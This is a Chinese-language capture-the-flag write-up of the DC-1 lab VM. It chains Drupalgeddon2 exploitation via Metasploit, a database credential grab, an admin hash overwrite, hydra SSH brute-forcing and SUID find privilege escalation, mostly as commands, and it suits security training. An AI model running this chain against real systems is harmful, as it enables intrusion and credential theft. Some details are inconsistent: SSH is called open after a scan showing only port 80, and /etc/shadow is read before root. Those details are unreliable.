DC-1靶场渗透测试:SUID提权与Drupal 7 GetShell实战
涉及工具 :Kali Linux、whatweb、nmap、arp-scan、dirsearch、msfconsole、hydra
核心目标:完成DC-1靶场全流程渗透,获取5个flag并通过SUID提权至root权限
相关靶机推荐
一、准备靶机
1.1 下载与解压
解压后得到以下文件,包含虚拟机镜像及配置信息:
图1-1 靶机解压后文件列表
1.2 导入虚拟机
- 打开VMware,选择「文件」→「打开」,加载靶机的
.vmx文件; - 导入过程中可能出现兼容性报错,点击「重试」即可继续 ,无需额外配置:
图1-2 导入报错提示
图1-3 点击「重试」继续导入 - 导入完成后,虚拟机列表将显示「DC-1」,此时靶机准备就绪:
图1-4 靶机导入成功
二、局域网信息收集
靶机IP未知,需先通过扫描工具识别局域网内存活主机,定位DC-1的IP地址。
2.1 Nmap主机存活扫描
Nmap是网络发现核心工具,-sn参数仅扫描主机存活(不扫描端口,避免触发防护):
bash
# 192.168.20.0/24需替换为本地局域网段(通过ip addr查看Kali网卡信息)
nmap -sn 192.168.20.0/24
扫描结果将显示局域网内所有存活主机的IP与MAC地址:
图2-1 Nmap主机存活扫描结果
2.2 ARP-Scan精准定位
arp-scan通过ARP协议扫描(局域网内无路由转发,结果更精准),可直接关联IP与MAC地址:
bash
arp-scan -l # -l:扫描本地路由对应的网段(无需手动指定)
图2-2 arp-scan扫描结果
确认靶机IP(关键步骤)
- 打开DC-1虚拟机「设置」→「网络适配器」→「高级」,查看靶机MAC地址(示例:
00:0C:29:AC:35:D5);
图2-3 靶机MAC地址(VMware配置) - 对比arp-scan结果,找到对应MAC地址的IP:192.168.20.153 (后续渗透均基于此IP);
图2-4 靶机IP确认
三、深度信息收集
定位靶机IP后,需进一步探测端口、服务版本、CMS类型,寻找渗透突破口。
3.1 Nmap端口与系统探测
-O参数开启操作系统版本探测,扫描靶机开放端口及对应服务:
bash
nmap -O 192.168.20.153
扫描结果分析
plaintext
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 21:44 CST
Nmap scan report for 192.168.20.153
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Debian))
MAC Address: 00:0C:29:AC:35:D5 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.59 seconds
关键信息:
- 仅开放80端口(HTTP服务),运行
Apache 2.2.22(Debian系统); - 无其他端口开放,渗透突破口集中在Web服务。
3.2 WhatWeb识别Web技术栈
WhatWeb自动检测Web技术栈(CMS、编程语言、服务器等),-v开启详细模式:
bash
whatweb -v 192.168.20.153
图3-1 WhatWeb扫描结果
核心信息汇总(表格优化对齐)
| 关键信息类别 | 具体内容 |
|---|---|
| Web服务器版本 | Apache 2.2.22 |
| 操作系统环境 | Debian Linux(Apache/2.2.22 (Debian)) |
| 内容管理系统(CMS) | Drupal 7(官方链接:http://drupal.org) |
| 前端技术 | JQuery(Script类型:text/javascript) |
| 后端编程语言及版本 | PHP 5.4.45-0+deb7u14(X-Powered-By:PHP/5.4.45-0+deb7u14) |
3.3 访问Web页面与Wappalyzer验证
- 浏览器访问
http://192.168.20.153,确认Drupal 7默认页面:
图3-2 Drupal 7默认页面 - 安装浏览器扩展「Wappalyzer」,二次验证技术栈(与WhatWeb结果一致):
图3-3 Wappalyzer验证结果
四、渗透环节:GetShell与Flag获取
4.1 目录FUZZ(Dirsearch)
Dirsearch暴力破解Web路径,寻找隐藏目录/配置文件:
bash
# -u:目标URL;-e*:探测所有常见后缀(php、txt、html等);--full-url:显示完整路径
dirsearch -u http://192.168.20.153 -e* --full-url
关键结果
plaintext
[22:02:41] 200 - 768B - http://192.168.20.153/COPYRIGHT.txt # 确认Drupal版本一致性
图4-1 Dirsearch扫描结果
4.2 Metasploit利用Drupal漏洞GetShell
Drupal 7存在Drupalgeddon 2(SA-CORE-2018-002) 远程代码执行漏洞(漏洞等级:Excellent),可直接GetShell。
步骤1:启动MSF控制台
bash
msfconsole # 启动Metasploit框架
图4-2 启动MSF控制台
步骤2:搜索并加载漏洞模块
bash
search Drupal # 筛选Drupal相关漏洞模块
use exploit/unix/webapp/drupal_drupalgeddon2 # 加载Drupalgeddon 2漏洞模块
图4-3 搜索Drupal漏洞模块
步骤3:配置模块参数
bash
show options # 查看模块必填参数
set RHOSTS 192.168.20.153 # 设置靶机IP(核心参数)
show options # 确认参数配置(LHOST为Kali本地IP,自动填充)
图4-4 配置漏洞模块参数
图4-5 确认RHOSTS设置
步骤4:执行攻击与获取Shell
bash
exploit # 启动攻击(成功后获取Meterpreter会话)
shell # 从Meterpreter切换到目标系统终端
图4-6 攻击成功获取Meterpreter会话
图4-7 切换为系统shell
步骤5:完善交互Shell(关键优化)
默认shell功能有限(无命令补全、上下键历史),通过Python生成标准bash:
bash
python -c 'import pty; pty.spawn("/bin/bash")' # 生成交互式bash
export TERM=xterm # 可选:启用终端颜色和全屏支持
图4-8 完善交互shell
4.3 获取Flag1(数据库配置文件)
Flag1提示:"所有优秀的CMS都需要一个配置文件,你也不例外"
Drupal 7核心配置文件路径:/var/www/sites/default/settings.php(存储数据库账密等关键信息):
bash
cat /var/www/sites/default/settings.php # 读取配置文件
图4-9 Flag1位置
图4-10 查看配置文件内容
数据库关键信息(加粗突出)
php
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb', # 数据库名
'username' => 'dbuser', # 数据库用户名
'password' => 'R0ck3t', # 数据库密码(关键)
'host' => 'localhost', # 数据库地址(本地)
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
4.4 数据库操作与修改Admin密码(获取Flag2)
步骤1:登录MySQL数据库
使用配置文件中的账密登录(-p后直接跟密码,无空格):
bash
mysql -udbuser -pR0ck3t # -u:用户名;-p:密码
图4-11 登录MySQL数据库
步骤2:查询Drupal用户表
Drupal用户信息存储在 drupaldb.users 表,密码采用Drupal专用哈希加密:
sql
use drupaldb; # 切换到drupal数据库
desc users; # 查看users表结构(确认密码字段)
select name, pass from users; # 查询管理员账号(name=admin)
图4-12 查询users表中的管理员密码(加密)
步骤3:生成Drupal密码哈希
Drupal密码无法直接解密,需生成新哈希覆盖原有密码(使用Drupal自带脚本):
bash
cd /var/www # 切换到Drupal根目录
./scripts/password-hash.sh admin123 # 生成密码admin123的哈希
生成的哈希(复制备用):
$S$DuaWUZ2agHsa8/YwbgZg6GtL7HaADOdJllpPSAtP43feHXkNK2m8
图4-13 生成新密码哈希
步骤4:更新Admin密码
sql
# 覆盖admin用户的密码(替换为新哈希)
update users set pass = "$S$DuaWUZ2agHsa8/YwbgZg6GtL7HaADOdJllpPSAtP43feHXkNK2m8" where name = 'admin';
图4-14 覆盖管理员密码
4.5 登录Drupal后台获取Flag3
- 浏览器访问
http://192.168.20.153/user,使用账号admin、密码admin123登录; - 登录后在「Dashboard」页面找到Flag3:
图4-15 Drupal后台Flag3
Flag3提示:"特殊权限(Special PERMS)将有助于找到 passwd 文件 ------ 但你需要使用 -exec(find 命令参数)来运行相关命令,进而获取 shadow 影子密码文件内容"
4.6 爆破Flag4用户(Hydra)
步骤1:查看/etc/shadow文件(确认目标用户)
/etc/shadow 存储用户密码哈希,发现存在 flag4 用户:
bash
cat /etc/shadow # 读取影子密码文件
图4-16 /etc/shadow中的flag4用户
步骤2:Hydra爆破SSH密码
DC-1开放SSH服务(22端口),使用Hydra爆破flag4用户密码:
bash
# -l:指定用户名(flag4);-P:密码字典(Kali自带rockyou字典);ssh://目标IP
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.20.153
图4-17 Hydra爆破成功(密码:orange)
步骤3:SSH登录Flag4用户与获取Flag4
bash
ssh flag4@192.168.20.153 # SSH登录flag4用户
# 输入密码orange,登录后执行:
cat flag4.txt # 查看当前目录的flag4.txt
Flag4提示:"你能使用同样的方法来找到或访问根目录(root)下的目标标识文件(flag)吗?或许可以。但这可能没那么简单。不过,也说不定其实很简单呢?"
图4-18 获取Flag4
五、SUID提权至Root(获取最终Flag)
5.1 SUID权限原理
SUID(Set User ID)是Linux特殊权限:
- 当用户执行带有SUID权限的文件时,将临时获得文件所有者的权限;
- 若文件所有者为root,则执行该文件时,用户临时拥有root权限(提权核心原理)。
5.2 查找SUID权限文件
通过find命令搜索系统中所有带SUID权限的文件(-perm -u=s表示用户权限含SUID):
bash
# /:搜索根目录;-perm -u=s:筛选SUID权限;-type f:仅文件;2>/dev/null:忽略报错
find / -perm -u=s -type f 2>/dev/null
图5-1 查找SUID文件(find命令含SUID权限)
关键发现 :/usr/bin/find 带有SUID权限,且所有者为root------可通过find -exec参数执行命令,临时获得root权限。
5.3 利用Find提权至Root
find -exec 参数:找到文件后执行指定命令,结合SUID权限执行/bin/sh,直接获取root shell:
bash
# 任意找一个存在的文件(如index.php),通过-exec执行/bin/sh
find / -name index.php -exec "/bin/sh" \;
执行后验证权限(已切换为root):
bash
whoami # 输出root,确认提权成功
图5-2 利用find提权至root
5.4 获取最终Flag(root目录)
root目录下的thefinalflag.txt为最终目标:
bash
cd /root # 切换到root目录
cat thefinalflag.txt # 查看最终flag
图5-3 最终Flag内容
最终Flag提示:"做得好!!!希望你喜欢这次体验,并且学到了一些新技能。你可以通过 Twitter 联系我(@DCAU7),告诉我你对这段小旅程的看法"
六、渗透总结(表格优化)
| 阶段 | 核心操作 | 工具/漏洞 | 目标成果 |
|---|---|---|---|
| 信息收集 | 主机存活扫描、端口探测、CMS识别 | nmap、arp-scan、whatweb | 定位靶机IP(192.168.20.153)、识别Drupal 7 |
| GetShell | 利用Drupalgeddon 2漏洞远程代码执行 | msfconsole | 获取系统shell(www-data权限) |
| 权限提升(1) | 读取数据库配置、修改Drupal管理员密码 | MySQL、Drupal密码脚本 | 登录后台获取Flag3 |
| 权限提升(2) | Hydra爆破SSH、SUID提权(find命令) | hydra、find | 获得root权限 |
| 目标达成 | 获取5个Flag(含最终root目录Flag) | ------ | 完成DC-1全流程渗透 |